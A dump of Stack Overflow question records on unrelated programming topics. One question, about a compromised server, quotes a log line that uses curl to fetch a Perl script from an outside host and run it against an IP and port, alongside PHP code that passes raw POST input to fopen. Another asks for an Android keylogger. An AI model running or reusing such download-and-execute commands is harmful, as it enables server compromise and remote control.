PHP+mySQL trouble. supplied argument is not a valid MySQL result resource === everyone. My error is on my while loop. I've had to add a @ to it to make it stop giving me the warning. It works just fine. Everything updates perfectly. But, rather than kludge it, I'd really like to not to have to hide my errors. I just have no idea what is wrong with it. Like I said, my while loop (line 113) is giving me this: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/xx/xxxxxxx/xxx/admin/price_chng.php on line 113 Here's the code. if($manu < 15){ $row_count = 0; $query = "SELECT * FROM `phone_models` WHERE `manufacture_id`=" . $manu . ";"; $result = mysql_query($query); while($row = mysql_fetch_array($result)){ if($row_count < 5){ echo ("<form action='price_chng.php' method='post' name='newprice' id=" . $row['id'] . ">"); echo "<td>" . $row['label'] . "<br>"; echo("<input name='newprice' type='text' id=" . $row['id'] . " size='10' value=" . $row['buyback_price'] . "><br>"); echo("<input type='hidden' name='ud_id' value='$row[id]'>"); echo("<input name='doSave' type='submit' id='doSave' value='Save'></form></td>"); $row_count++; }else{ $row_count = 0; echo("</tr><tr>"); } } }else{ echo("</tr></td>"); } Any help is appreciated! Thanks, guys!
0
803,218
04/29/2009 16:35:13
62,553
02/04/2009 18:40:53
779
6
Why does my instance variable behave so strange? Did I get it right?
For trying out some pointer stuff, I made an instance variable in an existing project. It's just declared like this: @interface PointerFun : NSObject { NSString* test; } I have no @property compiler directive, no @synthesize, so no getter and no setter. Just for testing. Then I have a method, where I try around some things with pointers and this instance variable. What I actually wanted to check out is what would happen when I assign that instance variable an NSString object (or whatever object), and after assigning the object, assign another object to that pointer which I assigned to the instance var. I thought that it would change the object in the instance var as weell. So here's my code: NSString *str1 = [NSString stringWithCString:"one"]; NSString *str2 = [NSString stringWithCString:"two"]; test = str2; // assign directly to instance variable (bad thing, just for testing!) str2 = str1; // now lets be really mean and change the object from that pointer!! NSLog(@"test: %x, %@", test, test); // test: 52cb10, two NSLog(@"str1: %x, %@", str1, str1); // str1: 52ca60, one NSLog(@"str2: %x, %@", str2, str2); // str2: 52ca60, one Like you see, the instance variable keeps pointing to the NSString object that was early behind str2. So when I assigned str1 to str2, I assigned the value of str1 to str2, which is a memory address. So I made both pointers have the same value, right? But when I assigned the value of str2 to test, test took over the value from str2, which was -at that time- the memory address for the "two" object. So even if I change after that assignment the value of the pointer str2, it will not affect the instance variable's value. And because that is an pointer to an NSString object, it just behaves the same as if it was str1 or str2. There is no difference just because it's an instance var. It's just an variable, or better: it's just an pointer. Did I get that right? phew ;) ...hope so!
objective-c
pointers
c
c++
null
null
open
Why does my instance variable behave so strange? Did I get it right? === For trying out some pointer stuff, I made an instance variable in an existing project. It's just declared like this: @interface PointerFun : NSObject { NSString* test; } I have no @property compiler directive, no @synthesize, so no getter and no setter. Just for testing. Then I have a method, where I try around some things with pointers and this instance variable. What I actually wanted to check out is what would happen when I assign that instance variable an NSString object (or whatever object), and after assigning the object, assign another object to that pointer which I assigned to the instance var. I thought that it would change the object in the instance var as weell. So here's my code: NSString *str1 = [NSString stringWithCString:"one"]; NSString *str2 = [NSString stringWithCString:"two"]; test = str2; // assign directly to instance variable (bad thing, just for testing!) str2 = str1; // now lets be really mean and change the object from that pointer!! NSLog(@"test: %x, %@", test, test); // test: 52cb10, two NSLog(@"str1: %x, %@", str1, str1); // str1: 52ca60, one NSLog(@"str2: %x, %@", str2, str2); // str2: 52ca60, one Like you see, the instance variable keeps pointing to the NSString object that was early behind str2. So when I assigned str1 to str2, I assigned the value of str1 to str2, which is a memory address. So I made both pointers have the same value, right? But when I assigned the value of str2 to test, test took over the value from str2, which was -at that time- the memory address for the "two" object. So even if I change after that assignment the value of the pointer str2, it will not affect the instance variable's value. And because that is an pointer to an NSString object, it just behaves the same as if it was str1 or str2. There is no difference just because it's an instance var. It's just an variable, or better: it's just an pointer. Did I get that right? phew ;) ...hope so!
0
8,892,937
01/17/2012 10:21:45
527,699
12/02/2010 08:55:41
430
0
How to add and ignore a field for json response
am using RestEasy and hibernate to return response in jason. I have a bean Player having fields: name, id, age, position. now am implementing two GET rest methods for returing json. 1. getPlayer() , which is returning a player: name, id, age, position. 2. getPlayers() , which is returning a list of players, but with this list of players, i do not want to return position. I mean how can i add a field for one response and ignore it for another response. Please suggest. Thanks
java
json
hibernate
jackson
null
null
open
How to add and ignore a field for json response === am using RestEasy and hibernate to return response in jason. I have a bean Player having fields: name, id, age, position. now am implementing two GET rest methods for returing json. 1. getPlayer() , which is returning a player: name, id, age, position. 2. getPlayers() , which is returning a list of players, but with this list of players, i do not want to return position. I mean how can i add a field for one response and ignore it for another response. Please suggest. Thanks
0
708,566
04/02/2009 06:51:27
66,098
02/13/2009 14:47:21
297
7
The effects of design on application delivery time
Some developers when given a task go straight into the IDE and start coding with very little design. They may have an idea of where the application is going as they are coding. I am 1 of these developers. I do this because I feel that if I spend a lot of time designing my application delivery time will be much higher as compared to if I just sit and code away the ideas in my head. My question is that how does application design effect the delivery time of the project and does it have a big advantage over coding the agile way?
design
delivery
time-management
null
null
null
open
The effects of design on application delivery time === Some developers when given a task go straight into the IDE and start coding with very little design. They may have an idea of where the application is going as they are coding. I am 1 of these developers. I do this because I feel that if I spend a lot of time designing my application delivery time will be much higher as compared to if I just sit and code away the ideas in my head. My question is that how does application design effect the delivery time of the project and does it have a big advantage over coding the agile way?
0
7,231,885
08/29/2011 14:58:57
918,036
08/29/2011 14:51:57
1
0
I would like a sample application that uses an asynchronous process with multithreading in javafx
CAn someone give me a sample application that uses asynchronous process with multi-threading, specially using the following class: http://download.oracle.com/docs/cd/E17802_01/javafx/javafx/1.3/docs/api/javafx.async/javafx.async.JavaTaskBase.html using that class, and an interface between the gui class and the controller class, achieve the view-controller pattern
java
javascript
swing
java-ee
javafx
08/29/2011 21:20:22
too localized
I would like a sample application that uses an asynchronous process with multithreading in javafx === CAn someone give me a sample application that uses asynchronous process with multi-threading, specially using the following class: http://download.oracle.com/docs/cd/E17802_01/javafx/javafx/1.3/docs/api/javafx.async/javafx.async.JavaTaskBase.html using that class, and an interface between the gui class and the controller class, achieve the view-controller pattern
3
7,292,495
09/03/2011 10:12:23
855,640
07/21/2011 09:53:57
30
1
can we use form for every tr to the single table? and how?
I need to apply form for every tr to a single table. That tr have 3 or 4 tds. But table in tr shouldnt use. Is this possible?
php
javascript
jquery
html
ajax
09/03/2011 13:20:11
not a real question
can we use form for every tr to the single table? and how? === I need to apply form for every tr to a single table. That tr have 3 or 4 tds. But table in tr shouldnt use. Is this possible?
1
8,623,117
12/24/2011 06:30:49
1,055,109
11/19/2011 08:46:48
16
0
IE - footer text issue
I am facing the following issue in IE7 ![enter image description here][1] Whereas in Chrome, FF and Opera it looks fine ![enter image description here][2] [1]: http://i.stack.imgur.com/RyI8e.jpg [2]: http://i.stack.imgur.com/GwK05.jpg Can anyone figure out why I am getting this issue, last few characters coming down to the div #footer { bottom:0; clear:both; background: url("images/footer.png") repeat-x #8DC63F; position:relative; float:left; width:100%; } .footer-text { text-align:center; font-family:'Tahoma'; font-size:10pt; color: #000000; top:20px; margin:10px auto; } <div id="footer"> <p class="footer-text">Home | Services | About Us | Products | Contact Us</p> <p class="footer-text">2011 &copy; All Rights Reserved.</p> </div>
css
internet-explorer-7
footer
null
null
null
open
IE - footer text issue === I am facing the following issue in IE7 ![enter image description here][1] Whereas in Chrome, FF and Opera it looks fine ![enter image description here][2] [1]: http://i.stack.imgur.com/RyI8e.jpg [2]: http://i.stack.imgur.com/GwK05.jpg Can anyone figure out why I am getting this issue, last few characters coming down to the div #footer { bottom:0; clear:both; background: url("images/footer.png") repeat-x #8DC63F; position:relative; float:left; width:100%; } .footer-text { text-align:center; font-family:'Tahoma'; font-size:10pt; color: #000000; top:20px; margin:10px auto; } <div id="footer"> <p class="footer-text">Home | Services | About Us | Products | Contact Us</p> <p class="footer-text">2011 &copy; All Rights Reserved.</p> </div>
0
7,592,223
09/29/2011 03:45:09
970,315
09/29/2011 03:23:42
1
0
Browser Error with Slider Pro
I purchased Slider Pro and installed it on my website, and it worked ok after uploading 2 photos to test display. Checked all settings, and the slider operated well in Safari, Firefox, Chrome, and Flock (all with current updates). However, the next morning browser "error" was experienced with all except Safari. Firefox showed slider outline but no photos, just continuos load spinning. I'm using MacBook Pro with Snow Leopard OSX (current update), and Pagelines Station Pro theme (current update) and Slider Pro for Wordpress. I googled for possible solutions, but no luck. Checked the developer and retailer but found that there is almost no support. Perhaps someone at stachoverflow can assist? Thanks.
jquery
null
null
null
null
09/29/2011 10:42:13
not a real question
Browser Error with Slider Pro === I purchased Slider Pro and installed it on my website, and it worked ok after uploading 2 photos to test display. Checked all settings, and the slider operated well in Safari, Firefox, Chrome, and Flock (all with current updates). However, the next morning browser "error" was experienced with all except Safari. Firefox showed slider outline but no photos, just continuos load spinning. I'm using MacBook Pro with Snow Leopard OSX (current update), and Pagelines Station Pro theme (current update) and Slider Pro for Wordpress. I googled for possible solutions, but no luck. Checked the developer and retailer but found that there is almost no support. Perhaps someone at stachoverflow can assist? Thanks.
1
2,426,832
03/11/2010 16:40:11
24,765
10/03/2008 10:00:08
34
8
Can you detect if and excel find and replace is active during worksheet_change()?
I've just crashed excel using amazon spreadsheet to update feed. When doing find and replace [replace all] with 2 cells selected after the first replacement the worksheet_change() function finished with the whole spreadsheet selected. This meant that the replacements took place outside of the original area. Unfortunatly the replcement text included the find text and each replacement re-selected the entire area excel ran until it ran out of space then crashed. Pressing control-break brings up the vba dialog STOP/CONTINUE/DEBUG. DEBUG is greyed out as amazon had protected the sheet. STOP would stop one run but would then continue to crash. CONTINUE would switch back to the current change and continue to crash. Is there any way to detect if a find&replace operation is in action whilst executing excel vba? Regards John
excel
null
null
null
null
null
open
Can you detect if and excel find and replace is active during worksheet_change()? === I've just crashed excel using amazon spreadsheet to update feed. When doing find and replace [replace all] with 2 cells selected after the first replacement the worksheet_change() function finished with the whole spreadsheet selected. This meant that the replacements took place outside of the original area. Unfortunatly the replcement text included the find text and each replacement re-selected the entire area excel ran until it ran out of space then crashed. Pressing control-break brings up the vba dialog STOP/CONTINUE/DEBUG. DEBUG is greyed out as amazon had protected the sheet. STOP would stop one run but would then continue to crash. CONTINUE would switch back to the current change and continue to crash. Is there any way to detect if a find&replace operation is in action whilst executing excel vba? Regards John
0
5,695,541
04/17/2011 18:34:02
604,436
02/05/2011 14:28:23
3
1
Convert CAF to MP3 or WAV in Ubuntu
I have a CAF server on my Ubuntu 9.10 server and I need to convert them to MP3 or WAV. I have already tried with pacpl and ffmpeg, but it didn't work (I don't have the right encodings in Ubuntu). Does anyone know how to convert the CAF file in Ubuntu? Thanks, Pedro Franceschi.
ubuntu
caf
null
null
null
04/18/2011 00:57:46
off topic
Convert CAF to MP3 or WAV in Ubuntu === I have a CAF server on my Ubuntu 9.10 server and I need to convert them to MP3 or WAV. I have already tried with pacpl and ffmpeg, but it didn't work (I don't have the right encodings in Ubuntu). Does anyone know how to convert the CAF file in Ubuntu? Thanks, Pedro Franceschi.
2
9,902,644
03/28/2012 07:03:44
1,297,308
03/28/2012 06:14:11
1
1
How to make simple keylogger in android?
guys, I need to make a simple keylogger app. The idea is that app should catch keyboard events (touch screen keyboard) in different applications, is it possible to do? I need it asap. Thank you!!!
android
eventlistener
keylogger
null
null
03/29/2012 06:41:21
not a real question
How to make simple keylogger in android? === guys, I need to make a simple keylogger app. The idea is that app should catch keyboard events (touch screen keyboard) in different applications, is it possible to do? I need it asap. Thank you!!!
1
3,661,354
09/07/2010 18:05:50
9,530
09/15/2008 19:04:15
49,532
1,095
How do you view segment-offset memory addresses in the Visual Studio debugger?
I'm debugging some code from the disassembly (no source code is available), and there a number of instructions accessing data via the `ds` segment register, e.g. something like this: 66 3B 05 8A B1 43 00 cmp ax,word ptr ds:[43B18Ah] How do you get the Visual Studio debugger to tell you the offset of the `ds` segment register so that I can inspect the memory this is referring to? The Watch window does not seem to accept expressions like `ds:[0x43B18A]` or variants; it will tell me that `ds` is 0, but that doesn't tell me what segment 0's offset is. Is there some special syntax for this, or is this something that VS just can't do? Would I have better luck with another debugger, such as WinDbg or ntsd?
visual-studio
debugging
x86
disassembly
null
null
open
How do you view segment-offset memory addresses in the Visual Studio debugger? === I'm debugging some code from the disassembly (no source code is available), and there a number of instructions accessing data via the `ds` segment register, e.g. something like this: 66 3B 05 8A B1 43 00 cmp ax,word ptr ds:[43B18Ah] How do you get the Visual Studio debugger to tell you the offset of the `ds` segment register so that I can inspect the memory this is referring to? The Watch window does not seem to accept expressions like `ds:[0x43B18A]` or variants; it will tell me that `ds` is 0, but that doesn't tell me what segment 0's offset is. Is there some special syntax for this, or is this something that VS just can't do? Would I have better luck with another debugger, such as WinDbg or ntsd?
0
10,966,151
06/10/2012 03:21:15
1,446,912
06/10/2012 03:13:28
1
0
VB2010 - Create multiple tables in MS Word?
I have this problem but could not get my head around it. I think it's just simple solutions using range, hope someone can help with this. Thanks. I would like to create multiple tables in Word. I have the set the first bookmark in Word and created the first table like below. I would like to create a few more tables below this particular table but not using any bookmarks anymore. oTable1 = oDoc.Tables.Add(oDoc.Bookmarks.Item("Table1").Range, 2, 5) Thanks. Appreciate your help.
vb.net
null
null
null
null
null
open
VB2010 - Create multiple tables in MS Word? === I have this problem but could not get my head around it. I think it's just simple solutions using range, hope someone can help with this. Thanks. I would like to create multiple tables in Word. I have the set the first bookmark in Word and created the first table like below. I would like to create a few more tables below this particular table but not using any bookmarks anymore. oTable1 = oDoc.Tables.Add(oDoc.Bookmarks.Item("Table1").Range, 2, 5) Thanks. Appreciate your help.
0
10,192,448
04/17/2012 13:42:30
1,236,971
02/28/2012 03:07:43
19
0
iOS handleOpenURL with Phonegap 1.6.0
Cordova: 1.6.0 iOS: 5.1 XCode: 4.3.1 I'm trying to tap into the handleOpenURL in Phonegap 1.6.0 with a very basic example program. I'd like to analyze a url every time a http/https request is made. All I have done right now is add a log message to see the host of the url. - (BOOL) application:(UIApplication*)application handleOpenURL: (NSURL*)url { NSLog(@"Hi"); NSLog(@"Host: %@", [url host]); if (!url) { return NO; } ... } However, the log message never writes anything to the console. I did notice the comment: // only valid if Example-Info.plist specifies a protocol to handle Perhaps my Example-Info.plist file is wrong? I've added the CFBundleURLTypes to it, assuming that's what it means by "specify a protocol to handle". Do I have to add something else somewhere? Below is the example section of my Example-Info.plist file. Is it possible the simulator is not recognizing my .plist modifications? ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>http</string> <string>https</string> </array> </dict> </array> I've also implmeneted, since handleOpenURL is deprecated. - (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication (NSString *)sourceApplication annotation:(id)annotation { NSLog(@"Hi"); ... } Neither are getting called as I open URLs in my application. I've tried all the solutions in stack-overflow, with no such luck. If it is any help, I'm using jQuery mobile 1.1.0 for page transitions.
ios
ios5
phonegap
null
null
null
open
iOS handleOpenURL with Phonegap 1.6.0 === Cordova: 1.6.0 iOS: 5.1 XCode: 4.3.1 I'm trying to tap into the handleOpenURL in Phonegap 1.6.0 with a very basic example program. I'd like to analyze a url every time a http/https request is made. All I have done right now is add a log message to see the host of the url. - (BOOL) application:(UIApplication*)application handleOpenURL: (NSURL*)url { NSLog(@"Hi"); NSLog(@"Host: %@", [url host]); if (!url) { return NO; } ... } However, the log message never writes anything to the console. I did notice the comment: // only valid if Example-Info.plist specifies a protocol to handle Perhaps my Example-Info.plist file is wrong? I've added the CFBundleURLTypes to it, assuming that's what it means by "specify a protocol to handle". Do I have to add something else somewhere? Below is the example section of my Example-Info.plist file. Is it possible the simulator is not recognizing my .plist modifications? ... <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>http</string> <string>https</string> </array> </dict> </array> I've also implmeneted, since handleOpenURL is deprecated. - (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication (NSString *)sourceApplication annotation:(id)annotation { NSLog(@"Hi"); ... } Neither are getting called as I open URLs in my application. I've tried all the solutions in stack-overflow, with no such luck. If it is any help, I'm using jQuery mobile 1.1.0 for page transitions.
0
10,370,886
04/29/2012 08:49:55
1,087,995
12/08/2011 15:06:14
96
0
Ofline map ability to add to my cpp code that gets gpx file as an input
I'm writing a cpp code and I want to add some kind of mapping ability. Is there some kind of offline application (one that **doesn't connect to the internet** but gets a **map file and a gpx file** instead ), that I can somehow call to in my code? or can anyone direct me to something near what I want? thanks a lot !
c++
gpx
null
null
null
null
open
Ofline map ability to add to my cpp code that gets gpx file as an input === I'm writing a cpp code and I want to add some kind of mapping ability. Is there some kind of offline application (one that **doesn't connect to the internet** but gets a **map file and a gpx file** instead ), that I can somehow call to in my code? or can anyone direct me to something near what I want? thanks a lot !
0
6,771,172
07/21/2011 04:12:38
855,159
07/21/2011 04:08:22
1
0
Retrieving a file list from a remote file system with Node.js
Is it possible to retrieve a directory listing of a remote file-system using Node.js. I know how to do it locally using readdir(...) or readdirSync(...) but can I use those methods to return a list of remote files especially from a http or ftp server?
javascript
web-applications
node.js
webos
null
null
open
Retrieving a file list from a remote file system with Node.js === Is it possible to retrieve a directory listing of a remote file-system using Node.js. I know how to do it locally using readdir(...) or readdirSync(...) but can I use those methods to return a list of remote files especially from a http or ftp server?
0
8,859,758
01/14/2012 02:49:01
342,235
05/16/2010 06:20:51
4,379
22
A website with many good and small javascript libraries?
I used to find a website with many good and small javascript libraries, but now I can't remember it now. Can someone tell me such a site?
javascript
null
null
null
null
01/14/2012 18:34:25
not a real question
A website with many good and small javascript libraries? === I used to find a website with many good and small javascript libraries, but now I can't remember it now. Can someone tell me such a site?
1
10,296,879
04/24/2012 11:22:03
1,239,834
02/29/2012 09:20:09
204
5
slider using css and jquery
i want to make slider using jquery so i have made function whose is adding value in left attribute now i want when slider div comes to end then it suppose to come from right of its parent div like as marquee but dont wana use marquee. http://jsfiddle.net/ <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> var left=0; $(function moveable(){ $('#slider').css('left' ,--left); setTimeout(moveable,10) }) </script> <style> .main { margin:0 auto; width:500px; height:200px; border:solid 1px #F00; overflow:hidden} #slider {position:relative; background:#333; height:200px;} </style> </head> <body> <div class="main"> <div id="slider"> <img src="slider.jpg" width="500" height="200" /></div> </div> </body>
jquery
html
null
null
null
null
open
slider using css and jquery === i want to make slider using jquery so i have made function whose is adding value in left attribute now i want when slider div comes to end then it suppose to come from right of its parent div like as marquee but dont wana use marquee. http://jsfiddle.net/ <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> var left=0; $(function moveable(){ $('#slider').css('left' ,--left); setTimeout(moveable,10) }) </script> <style> .main { margin:0 auto; width:500px; height:200px; border:solid 1px #F00; overflow:hidden} #slider {position:relative; background:#333; height:200px;} </style> </head> <body> <div class="main"> <div id="slider"> <img src="slider.jpg" width="500" height="200" /></div> </div> </body>
0
10,310,486
04/25/2012 06:33:38
388,657
07/11/2010 00:36:57
205
9
Are hosted virtual desktops available for personal use?
Basically, I want to run an instance of Windows 7 in the cloud, and log in to it from my Mac. I also want to be able to 'leave it on' from time to time, running a heavy processing task. Is there a service that offers this? Everything seemed to be targeted at massive IT departments. I would prefer it to be hosted, so I don't need to think about setting it up / managing it.
windows
virtualization
virtual-machine
null
null
04/26/2012 09:25:15
off topic
Are hosted virtual desktops available for personal use? === Basically, I want to run an instance of Windows 7 in the cloud, and log in to it from my Mac. I also want to be able to 'leave it on' from time to time, running a heavy processing task. Is there a service that offers this? Everything seemed to be targeted at massive IT departments. I would prefer it to be hosted, so I don't need to think about setting it up / managing it.
2
619,033
03/06/2009 14:30:44
39,321
11/20/2008 13:51:35
873
35
C#: Extension properties
I am pretty sure it doesn't, but... Do extention properties exist? Will they exist? Anyone heard anything? I would love it if they did... I mean, are they not just technically a get and a set method? Now for example I would love it if I could add an extention property to `DateTimeFormatInfo` called `ShortDateLongTimeFormat` which returned `ShortDatePattern + " " + LongTimePattern`...
c#
properties
extension-methods
null
null
03/25/2012 17:45:17
not constructive
C#: Extension properties === I am pretty sure it doesn't, but... Do extention properties exist? Will they exist? Anyone heard anything? I would love it if they did... I mean, are they not just technically a get and a set method? Now for example I would love it if I could add an extention property to `DateTimeFormatInfo` called `ShortDateLongTimeFormat` which returned `ShortDatePattern + " " + LongTimePattern`...
4
8,726,684
01/04/2012 12:12:20
128,071
06/24/2009 08:39:06
1,613
0
User should not allow to select month & Year in datecontrol
txtmonth = '01/2011' (textbox) Then DateControl should automatically display January 2011 (User should not able to select month & year) User should select only the date from that month. How to do this. How to accomplish in vb6 Any ideas.....
vb
vb6
null
null
null
null
open
User should not allow to select month & Year in datecontrol === txtmonth = '01/2011' (textbox) Then DateControl should automatically display January 2011 (User should not able to select month & year) User should select only the date from that month. How to do this. How to accomplish in vb6 Any ideas.....
0
5,928,514
05/08/2011 15:55:48
744,015
05/08/2011 15:55:48
1
0
how can I scroll my JFrame using the JScrollbar?
Helo! I have a problem. I have a JFrame with some JTextFields, JLabels, Jlists & Buttons now the contents of my frame is more than the screen area so I want to attach a JScrollBar to my JFrame but my srollbar does not work. So any one please guide me that how can I scroll my JFrame using the JScrollbar?
java
scroll
jframe
bar
attach
null
open
how can I scroll my JFrame using the JScrollbar? === Helo! I have a problem. I have a JFrame with some JTextFields, JLabels, Jlists & Buttons now the contents of my frame is more than the screen area so I want to attach a JScrollBar to my JFrame but my srollbar does not work. So any one please guide me that how can I scroll my JFrame using the JScrollbar?
0
7,339,849
09/07/2011 20:01:19
924,339
09/01/2011 22:23:13
1
0
Zend_form: doesn't accept Latin characters(ú, ë, etc?
I can't get Zend_form to accept any inserted latin characters (ü, é, etc). Even if I'm not validating it doesn't accept this. Does anyone now how to get this to work? Gr. Tosh
zend-framework
zend-form
zend-validate
null
null
null
open
Zend_form: doesn't accept Latin characters(ú, ë, etc? === I can't get Zend_form to accept any inserted latin characters (ü, é, etc). Even if I'm not validating it doesn't accept this. Does anyone now how to get this to work? Gr. Tosh
0
6,105,349
05/24/2011 03:18:03
226,958
12/08/2009 07:56:49
1,939
71
MediaWiki API: How to get an article's history
I want to get the list of editors that have edited a given article. For instance, for the article [Szklarka Mielęcka][1] ([history][2]) that would be: `Kotbot, AnomieBOT, Xenobot` I could not find anything in the [MediaWiki API][3]. Any better idea than scraping the history web page? Downloading the [history data dumps][4] is not a solution because I don't have the resources to handle 5 terabytes of text. Scale: I want to do this on about 1000 random articles, twice a year. [1]: http://en.wikipedia.org/w/index.php?title=Szklarka_Miel%C4%99cka [2]: http://en.wikipedia.org/w/index.php?title=Szklarka_Miel%C4%99cka&action=history [3]: http://www.mediawiki.org/wiki/API:Meta [4]: http://en.wikipedia.org/wiki/Wikipedia:Database_download#English-language_Wikipedia
mediawiki
wikipedia-api
null
null
null
null
open
MediaWiki API: How to get an article's history === I want to get the list of editors that have edited a given article. For instance, for the article [Szklarka Mielęcka][1] ([history][2]) that would be: `Kotbot, AnomieBOT, Xenobot` I could not find anything in the [MediaWiki API][3]. Any better idea than scraping the history web page? Downloading the [history data dumps][4] is not a solution because I don't have the resources to handle 5 terabytes of text. Scale: I want to do this on about 1000 random articles, twice a year. [1]: http://en.wikipedia.org/w/index.php?title=Szklarka_Miel%C4%99cka [2]: http://en.wikipedia.org/w/index.php?title=Szklarka_Miel%C4%99cka&action=history [3]: http://www.mediawiki.org/wiki/API:Meta [4]: http://en.wikipedia.org/wiki/Wikipedia:Database_download#English-language_Wikipedia
0
1,996,306
01/03/2010 21:04:53
140,901
07/19/2009 07:47:51
341
14
Reasons NOT to use App Engine
Lately I've been reading a lot of information about App Engine; the Google service that looks very promising to me. However, it all seems too good to be true. Call me a negative person, but I would like to know any reasons NOT to use App Engine. This is programmers related, since I'm asking as in the programmer point of view.
google-app-engine
web-applications
null
null
null
null
open
Reasons NOT to use App Engine === Lately I've been reading a lot of information about App Engine; the Google service that looks very promising to me. However, it all seems too good to be true. Call me a negative person, but I would like to know any reasons NOT to use App Engine. This is programmers related, since I'm asking as in the programmer point of view.
0
9,065,221
01/30/2012 14:18:25
1,103,954
12/17/2011 22:18:51
8
0
Android - Getting selected row values in a table
I'm getting data from mssql dynamically in my table. I want to get values in selected row as String. For example i want to get "99" , "Yonca" , "Lodi" values for [this][1] screen. How can i do this? Here is my creating table code : public void addData() { for(int i = 0 ; i < protokolNo.length ; i++) { /** * Creating table row here */ tr = new TableRow(this); tr.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVProtokolNo = new TextView (this); tVProtokolNo.setText(protokolNo[i]); tVProtokolNo.setTextColor(Color.RED); tVProtokolNo.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVProtokolNo.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVProtokolNo.setPadding(5, 5, 5, 5); tr.addView(tVProtokolNo); TextView tVAdi = new TextView(this); tVAdi.setText(adi[i]); tVAdi.setTextColor(Color.RED); tVAdi.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVAdi.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVAdi.setPadding(5, 5, 5, 5); tr.addView(tVAdi); TextView tVSoyadi = new TextView(this); tVSoyadi.setText(soyadi[i]); tVSoyadi.setTextColor(Color.RED); tVSoyadi.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVSoyadi.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVSoyadi.setPadding(5, 5, 5, 5); tr.addView(tVSoyadi); tl.addView(tr, new TableLayout.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT)); /** * Colouring selected row */ tr.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { v.setBackgroundColor(Color.DKGRAY); v.showContextMenu(); } }); registerForContextMenu(tr); } } [1]: http://i.imgur.com/xVvCd.png
android
get
row
tablelayout
selectedvalue
null
open
Android - Getting selected row values in a table === I'm getting data from mssql dynamically in my table. I want to get values in selected row as String. For example i want to get "99" , "Yonca" , "Lodi" values for [this][1] screen. How can i do this? Here is my creating table code : public void addData() { for(int i = 0 ; i < protokolNo.length ; i++) { /** * Creating table row here */ tr = new TableRow(this); tr.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVProtokolNo = new TextView (this); tVProtokolNo.setText(protokolNo[i]); tVProtokolNo.setTextColor(Color.RED); tVProtokolNo.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVProtokolNo.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVProtokolNo.setPadding(5, 5, 5, 5); tr.addView(tVProtokolNo); TextView tVAdi = new TextView(this); tVAdi.setText(adi[i]); tVAdi.setTextColor(Color.RED); tVAdi.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVAdi.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVAdi.setPadding(5, 5, 5, 5); tr.addView(tVAdi); TextView tVSoyadi = new TextView(this); tVSoyadi.setText(soyadi[i]); tVSoyadi.setTextColor(Color.RED); tVSoyadi.setTypeface(Typeface.DEFAULT, Typeface.BOLD); tVSoyadi.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.WRAP_CONTENT)); tVSoyadi.setPadding(5, 5, 5, 5); tr.addView(tVSoyadi); tl.addView(tr, new TableLayout.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT)); /** * Colouring selected row */ tr.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { v.setBackgroundColor(Color.DKGRAY); v.showContextMenu(); } }); registerForContextMenu(tr); } } [1]: http://i.imgur.com/xVvCd.png
0
11,740,686
07/31/2012 12:59:48
1,106,843
12/19/2011 22:50:57
1
1
exploit php fopen execute shell command
A guy got his server compromised and saw this in his apache error_log: > [Sun Jul 22 14:23:23 2012] [error] [client something.php] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such file or directory in /www/something.php on line 3 > % Total % Received % Xferd Average Speed Time Time Time Current Dload > Upload Total Spent Left Speed > > 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 970 100 970 0 0 13624 > 0 --:--:-- --:--:-- --:--:-- 48500 and the php code looks in short like this: $file=$_POST["file"]; $file=fopen("$file", "r"); you can see from the log that fopen got shell commands as argument and its curl output in the error_log. But is this possible and how did they do it? here is the post regarding this: http://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=25534
php
shell
fopen
exploit
null
07/31/2012 13:16:42
not a real question
exploit php fopen execute shell command === A guy got his server compromised and saw this in his apache error_log: > [Sun Jul 22 14:23:23 2012] [error] [client something.php] PHP Warning: fopen(cd /tmp;curl -O cox.x10.mx/.dc.txt;perl .dc.txt 12.237.27.3 45295): failed to open stream: No such file or directory in /www/something.php on line 3 > % Total % Received % Xferd Average Speed Time Time Time Current Dload > Upload Total Spent Left Speed > > 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 970 100 970 0 0 13624 > 0 --:--:-- --:--:-- --:--:-- 48500 and the php code looks in short like this: $file=$_POST["file"]; $file=fopen("$file", "r"); you can see from the log that fopen got shell commands as argument and its curl output in the error_log. But is this possible and how did they do it? here is the post regarding this: http://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=25534
1
11,453,682
07/12/2012 14:08:44
1,433,482
06/03/2012 11:57:15
3
0
A method to detect road vectors from maps
